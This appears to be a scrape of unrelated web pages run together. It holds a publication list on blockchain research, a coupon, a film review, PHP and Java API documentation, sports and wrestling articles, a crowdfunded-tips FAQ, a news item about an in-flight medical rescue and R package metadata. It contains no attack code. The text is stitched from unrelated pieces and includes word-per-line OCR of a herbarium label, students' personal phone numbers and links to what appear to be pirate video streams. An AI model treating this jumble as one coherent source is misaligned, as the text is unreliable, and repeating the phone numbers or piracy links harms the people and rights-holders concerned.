https://notes.ethereum.org/@mikeneuder/ryJGpiBz2
------------------------------------------------------------------------------------------
→ An optimistic weekend
by Mike Neuder, Niclas Blomberg, and Justin Drake
https://github.com/ultrasoundmoney/mev-boost-relay/blob/prod-optimistic-relaying/docs/optimistic/an-optimistic-weekend.md
------------------------------------------------------------------------------------------
→ Towards enshrined PBS — an optimistic roadmap
by Mike Neuder
https://github.com/michaelneuder/optimistic-relay-documentation/blob/main/towards-epbs.md
------------------------------------------------------------------------------------------
→ Optimistic Relay Proposal
by Mike Neuder
https://github.com/michaelneuder/optimistic-relay-documentation/blob/main/proposal.md
==========================================================================================
2021
→ Strategic Liquidity Provision in Uniswap v3
by Michael Neuder, Daniel Moroz, Rithvik Rao, and David C. Parkes
https://arxiv.org/pdf/2106.12033.pdf
------------------------------------------------------------------------------------------
→ Detection of Local Mixing in Time-Series Data Using Permutation Entropy
by Michael Neuder, Elizabeth Bradley, Edward Dlugokencky, James W. C. White and Joshua Garland
https://arxiv.org/pdf/2010.12384.pdf
==========================================================================================
2020
→ Low-cost attacks on Ethereum 2.0 by sub-1/3 stakeholders
by Michael Neuder, Daniel Moroz, Rithvik Rao, and David C. Parkes
https://arxiv.org/pdf/2102.02247.pdf
------------------------------------------------------------------------------------------
→ Implementing Mixed-Precision Iterative Refinement in STRUMPACK
by Michael Neuder
strumpack.pdf
------------------------------------------------------------------------------------------
→ Defending Against Malicious Reorgs in Tezos Proof-of-Stake
by Michael Neuder, Daniel Moroz, Rithvik Rao, and David C. Parkes
https://arxiv.org/pdf/2009.05413.pdf
==========================================================================================
2019
→ Selfish Behavior in the Tezos Proof-of-Stake Protocol
by Michael Neuder, Daniel Moroz, Rithvik Rao, and David C. Parkes
https://arxiv.org/pdf/1912.02954.pdf
------------------------------------------------------------------------------------------
→ An information-theoretic approach to extracting climate signals from deep polar ice cores
by Joshua Garland, Tyler R. Jones, Michael Neuder, James W. C. White, and Elizabeth Bradley
https://aip.scitation.org/doi/pdf/10.1063/1.5127211
==========================================================================================
2018
→ Anomaly Detection in Paleoclimate Records Using Permutation Entropy
Joshua Garland, Tyler R. Jones, Michael Neuder, Valarie Morris, James W. C. White, and Elizabeth Bradley
https://www.mdpi.com/1099-4300/20/12/931
------------------------------------------------------------------------------------------


Hi there!!! its working...
Save $1.50 on Kroger Mexican Entrées
on the purchase of ONE (1) Kroger Fully Cooked Mexican Entree, Beef Barbacoa, or Pork Carnitas(available in our Meat Department)
Limit of one coupon per household. Digital Coupons and paper coupons may not be combined on the purchase of a single item. Specially marked items, such as Clearance or Manager’s Specials may not be eligible for Digital Coupons.
Exp 12/31/2020


I'M NOT RAPPAPORT A film review by Steve Rhodes Copyright 1996 Steve Rhodes
RATING (0 TO ****): ** 1/2
Do not go gentle into that good night, Old age should burn and rave at close of day; Rage, rage against the dying of the light. -Dylan Thomas
Herb Gardner is the Tony award winning author for the play "I'm Not Rappaport." Ten years after it appeared on Broadway, Gardner brings it to the theaters with total control. He is the producer, writer, and director of the film version. This is not necessarily good in that the major suffering of the film is that it has play stamped all over it. Plays are in-person experiences that happen in intimate settings. Films take place on a much larger scale.
Gardner does take his play outdoors, but the cinematography by Adam Holender (SMOKE) fixes the camera immovably on the talking heads for insufferably long periods. This causes the wit and humor of the play to come across all too often as the pedantic ramblings and sermons of a couple of old men. The beauty of the language does come through, but the net effect of the movie is to make the viewers wish they had gone to the play instead.
As the story opens, Ron Rifkin (LAST SUMMER IN THE HAMPTONS and the soon to be released THE SUBSTANCE OF FIRE) is speaking to the fur workers' union. The year is 1909, and thanks to some help from a woman in the audience, he calls for a general strike. After a quick cut to the present where the restaurant workers are on strike, we meet one of the two leads in the story, an 80 year old ex-Communist organizer named Nat (Walter Matthau). As the Communist Internationale plays in the background, Nat drones on with tired dogma about the proletariat, but no one takes him seriously.
When he goes to a grocery store and starts marking down food he deems overpriced, people look upon him as a savior more than a kook. Everybody that is except the owner who wants to throw him out when he begins to suspect that Nat is not from the Mayor's office of consumer affairs as he claims.
Every day Nat meets his acquaintance Midge (Ossie Davis) at a bench in Central Park. Midge views him as a pain and his incessant conversations and stories as little more than verbal harassment.
Being tired of hearing Nat has returned from the dead or that he is a deep undercover Cuban secret agent, Midge tells him to stop lying. "Lies, not lies -- alternatives. Sometimes the truth doesn't quite fit," argues Nat. "I was one person for the first eighty years. Why not a hundred for the next five?"
Most of the show is about old men raging against the dying of their light. When Midge stands up, he falls down. Nat takes this philosophically as it does with everything in his life, reflecting, "It's the system. Two years old, you stand up. Seventy years later, you fall down again."
There are some interesting images in the picture. The best is when they both sit on a bench with a bronze statue of a suit talking on a cell phone. With one on each side of the immovable man, they smoke dope and admire an attractive stranger, Laurie (Martha Plimpton). Each of them fantasizes her as being a woman from years ago in their past. Later in the film, they will come to Laurie's aid when she gets in trouble with a drug dealer named The Cowboy, played against type by Craig T. Nelson.
The long scenes of banter in the park undoubtedly worked well in the play. In the film, they are too long and preachy. More lively editing or camerawork would have helped.
Midge finds that Nat drives him crazy, complaining, "Lord, I asked for help, and you send me a weird Commie blind man." I find that Matthau's acting frequently annoys me, but in this film I loved his work and that Davis's. I empathized with them both. Two convincing performances.
Less effective is the supporting cast. There is nothing wrong with their performances, but they provide little more than window dressing in this two person play.
Boyd Gaines plays a jogging character named Danforth who does have a single good line: "Truth is I hate running. Being immortal takes too much time." Now, I know why I gave up jogging twenty years ago.
Nat puts everybody down. He warns Danforth, "One more word, and I'll make a citizen's arrest for crimes against the language."
If you like to watch for goofs, you can see the boom appear quite clearly twice in the famous "I'm Not Rappaport" joke sequence between Nat and Midge.
"Everybody else got a two wheeler when they turned ten, I got a paperback copy of Das Kapital," carps Nat's daughter Clara Gelber (Amy Irving). Most movie goers get entertainment, but I got a talky play masquerading as a movie. If you can get past the stilted filming, the film has a message worth hearing.
I'M NOT RAPPAPORT runs too long at 2:15 because the play was not effectively adapted into a movie. It is rated PG-13 for dope smoking among the geriatric set. There is a little profanity and some violence, but no sex or nudity. The film's attitude about drugs makes me suggest that the film be seen only by kids who are over twelve. I found the filming frustrating, but I liked most of what the movie had to say so I am recommending it and giving it ** 1/2.
**** = One of the top few films of this or any year. A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show.  Totally unbearable.
REVIEW WRITTEN ON: November 25, 1996
Opinions expressed are mine and not meant to reflect my employer's.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Methods summary
public
|
#
SimpleFrameset( SimplePage & $page )
Stashes the frameset page. Will make use of the
browser to fetch the sub frames recursively.
Stashes the frameset page. Will make use of the browser to fetch the sub
frames recursively.
Parameters
|
public
|
#
addFrame( SimplePage & $page, string $name = false )
Adds a parsed page to the frameset.
Adds a parsed page to the frameset.
Parameters
- $page
SimplePage
$page Frame page.
- $name
string $name Name of frame in frameset.
|
public
|
#
setFrame( array $path, SimplePage & $page )
Replaces existing frame with another. If the
frame is nested, then the call is passed down
one level.
Replaces existing frame with another. If the frame is nested, then the call
is passed down one level.
Parameters
- $path
array $path Path of frame in frameset.
- $page
SimplePage
$page Frame source.
|
public
array
|
#
getFrameFocus( )
Accessor for current frame focus. Will be
false if no frame has focus. Will have the nested
frame focus if any.
Accessor for current frame focus. Will be false if no frame has focus. Will
have the nested frame focus if any.
Returns
array Labels or indexes of nested frames.
|
public
integer/string
|
#
_getPublicNameFromIndex( integer $subject )
Turns an internal array index into the frames list
into a public name, or if none, then a one offset
index.
Turns an internal array index into the frames list into a public name, or if
none, then a one offset index.
Parameters
- $subject
integer $subject Internal index.
Returns
integer/string Public name.
|
public
boolean
|
#
setFrameFocusByIndex( integer $choice )
Sets the focus by index. The integer index starts from 1.
If already focused and the target frame also has frames,
then the nested frame will be focused.
Sets the focus by index. The integer index starts from 1. If already focused
and the target frame also has frames, then the nested frame will be focused.
Parameters
- $choice
integer $choice Chosen frame.
Returns
boolean True if frame exists.
|
public
boolean
|
#
setFrameFocus( string $name )
Sets the focus by name. If already focused and the
target frame also has frames, then the nested frame
will be focused.
Sets the focus by name. If already focused and the target frame also has
frames, then the nested frame will be focused.
Parameters
- $name
string $name Chosen frame.
Returns
boolean True if frame exists.
|
public
|
|
public
|
#
_clearNestedFramesFocus( )
Clears the frame focus for any nested frames.
Clears the frame focus for any nested frames.
|
public
boolean
|
#
hasFrames( )
Test for the presence of a frameset.
Test for the presence of a frameset.
Returns
boolean Always true.
|
public
array/string
|
#
getFrames( )
Accessor for frames information.
Accessor for frames information.
Returns
array/string Recursive hash of frame URL strings. The key is either a numerical index or the
name attribute.
|
public
string
|
#
getRaw( )
Accessor for raw text of either all the pages or
the frame in focus.
Accessor for raw text of either all the pages or the frame in focus.
Returns
string Raw unparsed content.
|
public
string
|
#
getText( )
Accessor for plain text of either all the pages or
the frame in focus.
Accessor for plain text of either all the pages or the frame in focus.
Returns
string Plain text content.
|
public
string
|
|
public
string
|
#
getMethod( )
Request method used to fetch this frame.
Request method used to fetch this frame.
Returns
string GET, POST or HEAD.
|
public
SimpleUrl
|
#
getUrl( )
Original resource name.
Returns
|
public
SimpleUrl
|
|
public
SimpleUrl
|
#
expandUrl( SimpleUrl $url )
Expands expandomatic URLs into fully qualified
URLs for the frameset page.
Expands expandomatic URLs into fully qualified URLs for the frameset
page.
Parameters
Returns
|
public
mixed
|
|
public
string
|
#
getMimeType( )
Accessor for current MIME type.
Accessor for current MIME type.
Returns
string MIME type as string; e.g. 'text/html'
|
public
integer
|
#
getResponseCode( )
Accessor for last response code.
Accessor for last response code.
Returns
integer Last HTTP response code received.
|
public
string
|
#
getAuthentication( )
Accessor for last Authentication type. Only valid
straight after a challenge (401).
Accessor for last Authentication type. Only valid straight after a challenge
(401).
Returns
string Description of challenge type.
|
public
string
|
#
getRealm( )
Accessor for last Authentication realm. Only valid
straight after a challenge (401).
Accessor for last Authentication realm. Only valid straight after a challenge
(401).
Returns
string Name of security realm.
|
public
string
|
#
getRequest( )
Accessor for outgoing header information.
Accessor for outgoing header information.
Returns
string Header block.
|
public
string
|
#
getTitle( )
Accessor for parsed title.
Accessor for parsed title.
Returns
string Title or false if no title is present.
|
public
array
|
#
getUrls( )
Accessor for a list of all fixed links.
Accessor for a list of all fixed links.
Returns
array List of urls as strings.
|
public
array
|
#
getUrlsByLabel( string $label )
Accessor for URLs by the link label. Label will match
regardess of whitespace issues and case.
Accessor for URLs by the link label. Label will match regardess of whitespace
issues and case.
Parameters
- $label
string $label Text of link.
Returns
array List of links with that label.
|
public
string
|
#
getUrlById( string $id )
Accessor for a URL by the id attribute. If in a frameset
then the first link found with that ID attribute is
returned only. Focus on a frame if you want one from
a specific part of the frameset.
Accessor for a URL by the id attribute. If in a frameset then the first link
found with that ID attribute is returned only. Focus on a frame if you want one
from a specific part of the frameset.
Parameters
- $id
string $id Id attribute of link.
Returns
string URL with that id.
|
public
array
|
#
_tagUrlsWithFrame( array $urls, string $frame )
Attaches the intended frame index to a list of URLs.
Attaches the intended frame index to a list of URLs.
Parameters
- $urls
array $urls List of SimpleUrls.
- $frame
string $frame Name of frame or index.
Returns
array List of tagged URLs.
|
public
SimpleForm
&
|
#
getFormBySubmit( SimpleSelector $selector )
Finds a held form by button label. Will only
search correctly built forms.
Finds a held form by button label. Will only search correctly built
forms.
Parameters
- $selector
SimpleSelector $selector Button finder.
Returns
|
public
SimpleForm
&
|
#
getFormByImage( SimpleSelector $selector )
Finds a held form by image using a selector.
Will only search correctly built forms. The first
form found either within the focused frame, or
across frames, will be the one returned.
Finds a held form by image using a selector. Will only search correctly built
forms. The first form found either within the focused frame, or across frames,
will be the one returned.
Parameters
- $selector
SimpleSelector $selector Image finder.
Returns
|
public
SimpleForm
&
|
#
getFormById( string $id )
Finds a held form by the form ID. A way of
identifying a specific form when we have control
of the HTML code. The first form found
either within the focused frame, or across frames,
will be the one returned.
Finds a held form by the form ID. A way of identifying a specific form when
we have control of the HTML code. The first form found either within the focused
frame, or across frames, will be the one returned.
Parameters
- $id
string $id Form label.
Returns
|
public
SimpleForm
&
|
#
_findForm( string $method, string $attribute )
General form finder. Will search all the frames or
just the one in focus.
General form finder. Will search all the frames or just the one in focus.
Parameters
- $method
string $method Method to use to find in a page.
- $attribute
string $attribute Label, name or ID.
Returns
|
public
SimpleForm
&
|
#
_findFormInFrame( SimplePage & $page, integer $index, string $method, string $attribute )
Finds a form in a page using a form finding method. Will
also tag the form with the frame name it belongs in.
Finds a form in a page using a form finding method. Will also tag the form
with the frame name it belongs in.
Parameters
- $page
SimplePage
$page Page content of frame.
- $index
integer $index Internal frame representation.
- $method
string $method Method to use to find in a page.
- $attribute
string $attribute Label, name or ID.
Returns
|
public
boolean
|
#
setField( SimpleSelector $selector, string $value )
Sets a field on each form in which the field is
available.
Sets a field on each form in which the field is available.
Parameters
- $selector
SimpleSelector $selector Field finder.
- $value
string $value Value to set field to.
Returns
boolean True if value is valid.
|
public
string/boolean
|
#
getField( SimpleSelector $selector )
Accessor for a form element value within a page.
Accessor for a form element value within a page.
Parameters
- $selector
SimpleSelector $selector Field finder.
Returns
string/boolean A string if the field is present, false if unchecked and null if missing.
|


--- layout: default title: "Cue guiding for 8-ball pool" description: "Developed a program that, given a top-down pool table image with random cue, finds the position of pockets and balls using binarization & template matching and visualizes the post-impact vectors to predict the possible shots" quote: "If you need something, all you need to do is ask" ---
Developed a program that, given a top-down pool table image with random cue, finds the position of pockets and balls using binarization & template matching and visualizes the post-impact vectors to predict the possible shots.


Glen Kamara explains Steven Gerrard's Rangers midfield masterclasses and three key elements that make Steven Davis special
The Finnish international has revealed two major Ibrox midfield influences.
by Scott Burns, https://www.dailyrecord.co.uk/authors/scott-burns/Rangers star Glen Kamara reckons daily midfield masterclasses with Steven Gerrard have helped him up his game.
The 24-year-old was signed from Dundee back in January and has quickly established himself as a first pick under the guidance of the Liverpool and England legend.
Kamara has started every Europa League group game and in recent weeks has also made the holding midfield position his own in domestic competition.
Things could scarcely be any better at Ibrox and that’s the case with his country too as he prepares to make history with Finland by blazing a trail to Euro 2020.
Speaking of Gerrard, Kamara said: “The manager has been massive for me and the whole team.
“He has helped us all collectively and he has also really helped me individually as well.
“He has me working on a few things in training and just wants me to express myself more.
“The boss wants me to get on the ball, influence the games and have more belief in myself.
“He has given me the confidence to go out and play.
“We have a lot of competition in the Rangers midfield but that has been good. You need that competitive side in the squad.
“We have had a lot of games and we have a lot more coming up, domestically and in Europe.
“So you always need strength in depth in your squad.
“I feel I have been doing OK and in every game I have just been trying to improve myself.
“I now have better players around me and that is without being disrespectful to any of the teams or players I’ve played with in the past.
“When you play with top players, like I am at Rangers, then you respond to them.”
Steven Davis is now getting back to the sort of form he showed in his first Ibrox spell and Kamara admits the Northern Ireland star has also been a big influence.
His fellow midfielder said: “Steven has been great for me.
“You learn a lot from just watching him in training or games.
“His experience, movement and intelligence are all there for all to see. He has been great since he came into the club and the good thing is he is so experienced having played at the top level.”
Rangers are matching champions Celtic step for step at the top of the table and in the Europa League they have really come to the fore, sitting second in Group G above Feyenoord and Porto.
Kamara said: “That has been a massive experience. It has been good for us playing against some top teams and players.
“We have really been able to test ourselves and it has been great. We are doing well in our group and had a great result against Porto last week. We are in a good position.”


Seann Walsh (born 1985-12-02[ref]) has appeared in 84 episodes between 2009-2017. Seann Walsh on IMDB. Seann Walsh on Wikipedia. Seann Walsh on Chortle.


MyCrypto requires certain features that your browser doesn't offer. Your browser may also be missing security updates that could open you up to vulnerabilities. Please update your browser, or switch to one of the following browsers to continue using MyCrypto.
If you're using the Brave Browser, please ensure that you are not blocking all cookies. You may block 3rd-party cookies, but MyCrypto will not function properly if all cookies are blocked.
MyCrypto requires certain features that your browser doesn't offer. Please use your device's default browser, or switch to a laptop or desktop computer to continue using MyCrypto.


---
layout: post
title: awesome people hanging out together
date: '2011-06-07T09:17:00.000-05:00'
author: Tom Ray
tags:
- link
- blog
modified_time: '2013-02-09T22:55:21.421-06:00'
blogger_id: tag:blogger.com,1999:blog-11319466.post-2733270295997761304
blogger_orig_url: http://www.lorenzosmusic.com/2011/06/awesome-people-hanging-out-together.html
---
While this is my new favorite blog, this was the most impressive picture I found on it by far.
awesome people hanging out together
| Charlie Chaplin and Helen Keller |


?Manilkara
Arthur
Cronquist,
1945
New
York
Botanical
Garden
PLANTS
OF
MARTINIQUE
Frank
E.Egler
Occurs
rarely,
as
a
young
tree;
lower
canopy
of
dry
forest
on
hill
near
Usine
Caritan;
commune
of
Ste.
Anne;
arid
zone.
Dark
clay
soil
on
limestone
substratum.
Species
apparently
highly
tolerant
of
shade
NEW
YORK
BOTANICAL
GARDEN
Deposited
at
the
New
York
Botanical
Garden
to
authenticate
ecological
studies
of
this
West
indian
Island
made
during
the
summer
of
1939.
01442936
|llM
SHS
?
6
7
6
9
10
T
H
v
The
New
York
copyright
reserved
botanical
Garden
01442936
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Created: {{release.created_at}}
Published: {{release.published_at}}
{{release.prerelease}}
Tag: {{release.tag_name}}
{{release.author.login}}
Author


Roll: 1503089
Department of Computer Science & Engineering
Rajshahi University of Engineering & Technology
Phone: +8801768576780
Website: amit.mektekbd.com
Roll: 1503085
Department of Computer Science & Engineering
Rajshahi University of Engineering & Technology
PhoneL +8801784475710


 We are aiming to be the first socialy dynamic way for the public to get involved in the crime solving process.
Campaigns?
A campaign relates to either a general or specific crime that people can crowdfund. At the end of the month the tips relating to a campaign that are approved by law enforcement will receive an equal portion of the funds raised.
Socially Dynamic?
This means that the crimes the public feels more strongly about will raise more funds, meaning that is easier for law enforcement to solve those crimes because the tips relating to them are more valuable and will likely come in with a greater frequency.
How Can I Help?
We are an opensource initiative and are always looking for people who can contribute to our repository. Check it out here.
Are Payments Secure?
We currently collect payments through Paypal, a company known for it security and ease of use.
Is CrowdCop for Emergencies?
Absolutely not, CrowdCop is meant for tips for non-emergency threats only. You should always call 911 in an emergency situation
Are Tips Secure?
Tips provided to CrowdCop are anonymous. This includes your paypal id which is assigned a random number which law enforcement will see in place of your username.
When Can I Start Using CrowdCop?
We are aiming for a test of the service in April of 2016 with the help of RPI's Public Safety Department.
Press
Part of our strategy for CrowdCop is being a solution that the press can present when reporting on crimes. If you would like more information about the service please contact bocaaust@gmail.com


The Undertaker comes out-of-character on Steve Austin podcast
The Undertaker was Austin’s first guest on the premiere episode of Broken Skull Sessions.
by Sports DeskThe Undertaker broke character to feature in the premiere episode of Broken Skull Sessions with Steve Austin after Survivor Series.
Austin’s first guest was Mark Calloway, (The Undertaker) and the two of the biggest stars in the history of wrestling spoke at length on a variety of topics, from how the the Undertaker saved his career during the Attitude Era, to whom he went for advice and the decision to end his WrestleMania streak.
Attitude Era
According to Undertaker, he wouldn’t have “made it through” to the Attitude Era if he hadn’t changed his gimmick in 2000. At a time when Undertaker’s dark character became a huge hit, The Phenom decided to take a risk and transform into the American Bad**s gimmick, which saw him performing as a tough and sadistic biker.
Reflecting on it, Calloway said,””I always felt like, if I started feeling stale, my audience is probably feeling it before me. You get wrapped up in what you’re doing.”
“So, the small changes, the breaks at the right time — but I don’t think I would had made it through if I hadn’t changed when I did to go to the American Badass,” he added.
“The character — I don’t think — would have lasted through the Attitude Era,” the former World Heavyweight Champion noted.
Whom did the Undertaker go for advice?
“There was one guy… Jake [Roberts]. Not so much my delivery or what I said, but he had such insight into character. Jake ‘The Snake’ Roberts, man — brilliant mind. Unbelievable insight on how to put that character together and he would tell me like he would listen to Pink Floyd or he would listen to Black Sabbath which, you know that got me, ‘Okay I’m gonna get some heat for this’ I would look in the Bible for different verses. Back then it didn’t bother me as much to alter it around a little bit, you know who am I tell?,” Ringside News quoted Undertaker as saying.
“So I started looking outside the box on how to put this character together and he would — he didn’t even tell me this, but I heard him tell ‘Once the music starts you are that person,’ you know I probably took it a step further because I stayed that person for the first five or six years, but he had so many good innovative ways to put things together and to look at different aspects of the business that no one got.”
“Jake never was a screamer and that was something I knew I wasn’t gonna be. I knew it was gonna be a slow, methodical promo and then when Paul Bearer came along it was easy because he had that high-pitched creepy thing that got people and then I would come in with you know, ‘Rest In Peace.’”
The Streak
In a shocking revelation the Undertaker revealed he has no memory of the match against Brock Lesnar. ”What most people don’t know is that I got concussed during that match… I don’t remember anything about that night.” The last thing he remembered are incidents from 3:30 pm that afternoon. His next memory is 4:30 am at the hospital when nurses were asking for his name and if he knew where he was.
Taker also revealed that he had seen the match so he knows what happened. However, no matter how many times he watches it back, he still can’t pinpoint when the concussion took place. The Deadman also said that it wasn’t Brock Lesnar’s fault but from that point on, he knew his career was on borrowed time.
WATCH THE EPISODE-
http://watchwrestling.in/watch-wwe-steve-austin-broken-skull-session-season-1-episode-1-undertaker/
http://gadgettub.com/watch/player.php?file=kcmhRzbLGxRGPCvq7H7


|
|||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |
| Class Summary | |
|---|---|
| AbPageVariationEntry | Entry element for abpagevariation feed. |
| AbPageVariationFeed | Feed element in AbPageVariationFeed. |
| AccountEntry | Entry element for account feed. |
| AccountFeed | Feed element in account feed. |
| Aggregates | Describes an aggregates. |
| AnalyticsLink | Extends the base Link class with Analytics extensions. |
| AnalyticsLink.Rel | Link relation type. |
| AnalyticsNamespace | Namespace definitions related to Google Analytics Data Export API. |
| CombinationEntry | Entry element for combination feed. |
| CombinationFeed | Feed element in CombinationFeed. |
| ContainsSampledData | Indicates whether this response contains sampled data. |
| CustomVariable | Data about a user-defined custom variable. |
| CustomVariable.Scope | Scope. |
| DataEntry | Entry element for data feed. |
| DataFeed | Feed element in data feed. |
| DataSource | Describes a data source. |
| Definition | Describes a definition. |
| Destination | Destination-URL goal. |
| Destination.MatchType | The match type for the path expression. |
| Dimension | Dimension value. |
| EndDate | Last day for which to retrieve data. |
| Engagement | Engagement goal. |
| Engagement.Comparison | Engagement goal's comparison operation. |
| Engagement.Type | Goal's threshold type. |
| ExperimentEntry | Entry element for experiment feed. |
| ExperimentFeed | Feed element in ExperimentFeed. |
| Goal | Google Analytics goal. |
| GwoAbPageVariationId | A/B experiment page variation ID. |
| GwoAnalyticsAccountId | Analytics account ID. |
| GwoAutoPruneMode | Auto prune mode. |
| GwoComboActive | Combination active state. |
| GwoComboId | Combination ID. |
| GwoComboString | Combination section/variation info. |
| GwoControlScript | Control script for experiment. |
| GwoConversionScript | Conversion script for experiment. |
| GwoCoverage | Experiment coverage. |
| GwoExperimentId | Experiment ID. |
| GwoExperimentNotes | Experiment notes. |
| GwoExperimentType | Experiment type. |
| GwoLink | Extends the base Link class with GWO extensions. |
| GwoLink.Rel | Link relation type. |
| GwoNumAbPageVariations | Number of page variations in an A/B experiment. |
| GwoNumCombinations | Number of combinations in an experiment. |
| GwoNumSections | Number of sections in a multivariate experiment. |
| GwoNumVariations | Number of variations in a section. |
| GwoSectionBeginScript | Script to mark the beginning of a section. |
| GwoSectionEndScript | Script to mark the end of a section. |
| GwoSectionId | Section ID. |
| GwoSourceExperimentId | Source experiment ID. |
| GwoStatus | Current experiment status. |
| GwoTrackingScript | Tracking script for experiment. |
| GwoVariationId | Variation ID. |
| GwoVerificationCombo | Verification combo. |
| GwoVerificationComboCoverage | Verification combo coverage. |
| ManagementEntry | Entry element for GA data source feed. |
| ManagementFeed | Feed element in data source feed. |
| Metric | Metric value. |
| Metric.Type | The format of data represented by the metric. |
| Property | Generic account-level property. |
| SectionEntry | Entry element for section feed. |
| SectionFeed | Feed element in SectionFeed. |
| Segment | Describes a segment. |
| StartDate | First day for which to retrieve data. |
| Step | Single step in a multistep goal. |
| TableId | Identifier to be used in ids query string parameter. |
| TableName | Describes a table name. |
| VariationEntry | Entry element for variation feed. |
| VariationFeed | Feed element in VariationFeed. |
| Enum Summary | |
|---|---|
| GwoAutoPruneMode.Value | Value. |
| GwoExperimentType.Value | Value. |
| GwoStatus.Value | Value. |
|
|||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |


public static interface MediaSessionConnector.QueueNavigator extends MediaSessionConnector.CommandReceiver
MediaSessionCompat.setQueue()
.| Modifier and Type | Field and Description |
|---|---|
static long |
ACTIONS |
| Modifier and Type | Method and Description |
|---|---|
long |
getActiveQueueItemId(Player player)
Gets the id of the currently active queue item, or
MediaSessionCompat.QueueItem#UNKNOWN_ID if the active item is unknown. |
long |
getSupportedQueueNavigatorActions(Player player)
Returns the actions which are supported by the navigator.
|
void |
onCurrentWindowIndexChanged(Player player)
Called when the current window index changed.
|
void |
onSkipToNext(Player player,
ControlDispatcher controlDispatcher)
See
MediaSessionCompat.Callback#onSkipToNext() . |
void |
onSkipToPrevious(Player player,
ControlDispatcher controlDispatcher)
See
MediaSessionCompat.Callback#onSkipToPrevious() . |
void |
onSkipToQueueItem(Player player,
ControlDispatcher controlDispatcher,
long id)
See
MediaSessionCompat.Callback#onSkipToQueueItem(long) . |
void |
onTimelineChanged(Player player)
Called when the timeline of the player has changed.
|
onCommand
static final long ACTIONS
long getSupportedQueueNavigatorActions(Player player)
PlaybackStateCompat.ACTION_SKIP_TO_QUEUE_ITEM
, PlaybackStateCompat.ACTION_SKIP_TO_NEXT
, PlaybackStateCompat.ACTION_SKIP_TO_PREVIOUS
.player
- The player connected to the media session.void onTimelineChanged(Player player)
player
- The player connected to the media session.void onCurrentWindowIndexChanged(Player player)
player
- The player connected to the media session.long getActiveQueueItemId(@Nullable Player player)
MediaSessionCompat.QueueItem#UNKNOWN_ID
if the active item is unknown.
To let the connector publish metadata for the active queue item, the queue item with the
returned id must be available in the list of items returned by MediaControllerCompat.getQueue()
.
player
- The player connected to the media session.void onSkipToPrevious(Player player, ControlDispatcher controlDispatcher)
MediaSessionCompat.Callback#onSkipToPrevious()
.player
- The player connected to the media session.controlDispatcher
- A ControlDispatcher
that should be used for dispatching
changes to the player.void onSkipToQueueItem(Player player, ControlDispatcher controlDispatcher, long id)
MediaSessionCompat.Callback#onSkipToQueueItem(long)
.player
- The player connected to the media session.controlDispatcher
- A ControlDispatcher
that should be used for dispatching
changes to the player.void onSkipToNext(Player player, ControlDispatcher controlDispatcher)
MediaSessionCompat.Callback#onSkipToNext()
.player
- The player connected to the media session.controlDispatcher
- A ControlDispatcher
that should be used for dispatching
changes to the player.


Under bottom area here.
Live example, where I'm using and testing this plugin at the moment: kawaiinyan.com.


System Architect Symbol details for "Activity Type Excluded"
Activity Type (Class)
- Description:
"Descriptive Category" capable of being used as a category for "Activities".
Activity Type Excluded (Class)
- Description:
-
An "Activity Type" that may not be performed for this "Authorised Agent Activity".
- Comment:
This will be a species or sub-species of the "Activity Type" associated with the Agent via "Agent's
Activity Type".
- Examples:
This could for example mean that a doctor is allowed to perform general medical duties (an "Activity
Type" included by "Permitted Activity Type", with the exception of heart transplants, an excluded
"Activity Type".
Agent's Activity Type (Class)
- Description:
A means of establishing that an "Agent" may perform, offer to perform or authorise others to perform
certain "Activity Types".
- Comment:
For examples see subtypes.
classifier (Association)
- From Class:
"Activity Type"
- To Class:
"Activity Type Excluded"
- From Class:
"Activity Type"
- To Class:
"Activity Type Excluded"
subject to constraint (Association)
- From Class:
"Agent's Activity Type"
- To Class:
"Activity Type Excluded"
- From Class:
"Agent's Activity Type"
- To Class:
"Activity Type Excluded"


Zhang Hong used a catheter to extract 800ml of urine during a 37-minute incident on board an aeroplane.
Zhang was on board a China Southern Airlines flight from Guangzhou to New York on Tuesday.
While in mid-air, a passenger in his 70s suddenly suffered dysuria, a painful condition characterised by difficult and painful urination.
Two passengers – Zhang and another man named Xiao Zhanxiang – came to the unnamed man’s aid.
Xiao made a device with materials that were available onboard to try to help the elderly man urinate but it failed.

After photos and videos of the incident circulated online, internet users in China praised the two doctors for their heroics.
Zhang afterwards said he did not think much at the time because ‘saving people is the instinct of a doctor.’
Zhang works for The First Affiliated Hospital of Jinan University (Guangzhou Overseas Chinese Hospital) while Xiao is attached Hainan Central Hospital.


Perform tree-ring analyses such as detrending, chronology building, and cross dating. Read and write standard file formats used in dendrochronology.
| Version: | 1.6.9 |
| Depends: | R (≥ 2.15.2) |
| Imports: | graphics, grDevices, grid, stats, utils, lattice (≥ 0.13-6), Matrix (≥ 1.0-3), digest (≥ 0.2.3), matrixStats (≥ 0.50.2), png (≥ 0.1-2), R.utils (≥ 1.32.1), stringi (≥ 0.2-3), stringr (≥ 0.4), XML (≥ 2.1-0), plyr (≥ 1.8), animation (≥ 2.0-2), signal |
| Suggests: | Biobase, Cairo (≥ 1.5-0), dichromat (≥ 1.2-3), foreach, forecast (≥ 3.6), gmp (≥ 0.5-5), iterators, knitr, RColorBrewer, testthat (≥ 0.8), tikzDevice, waveslim |
| Published: | 2018-11-05 |
| Author: | Andy Bunn [aut, cph, cre, trl], Mikko Korpela [aut, cph, trl], Franco Biondi [aut, cph], Filipe Campelo [aut, cph], Pierre Mérian [aut, cph], Fares Qeadan [aut, cph], Christian Zang [aut, cph], Allan Buras [ctb], Jacob Cecile [ctb], Manfred Mudelsee [ctb], Michael Schulz [ctb], Darwin Pucha-Cofrep [aut, cph], Jakob Wernicke [aut, cph] |
| Maintainer: | Andy Bunn <andy.bunn at wwu.edu> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| Copyright: | Authors and file inst/COPYRIGHTS dplR copyright details |
| URL: | https://r-forge.r-project.org/projects/dplr/ |
| NeedsCompilation: | yes |
| Citation: | dplR citation info |
| Materials: | ChangeLog |
| CRAN checks: | dplR results |
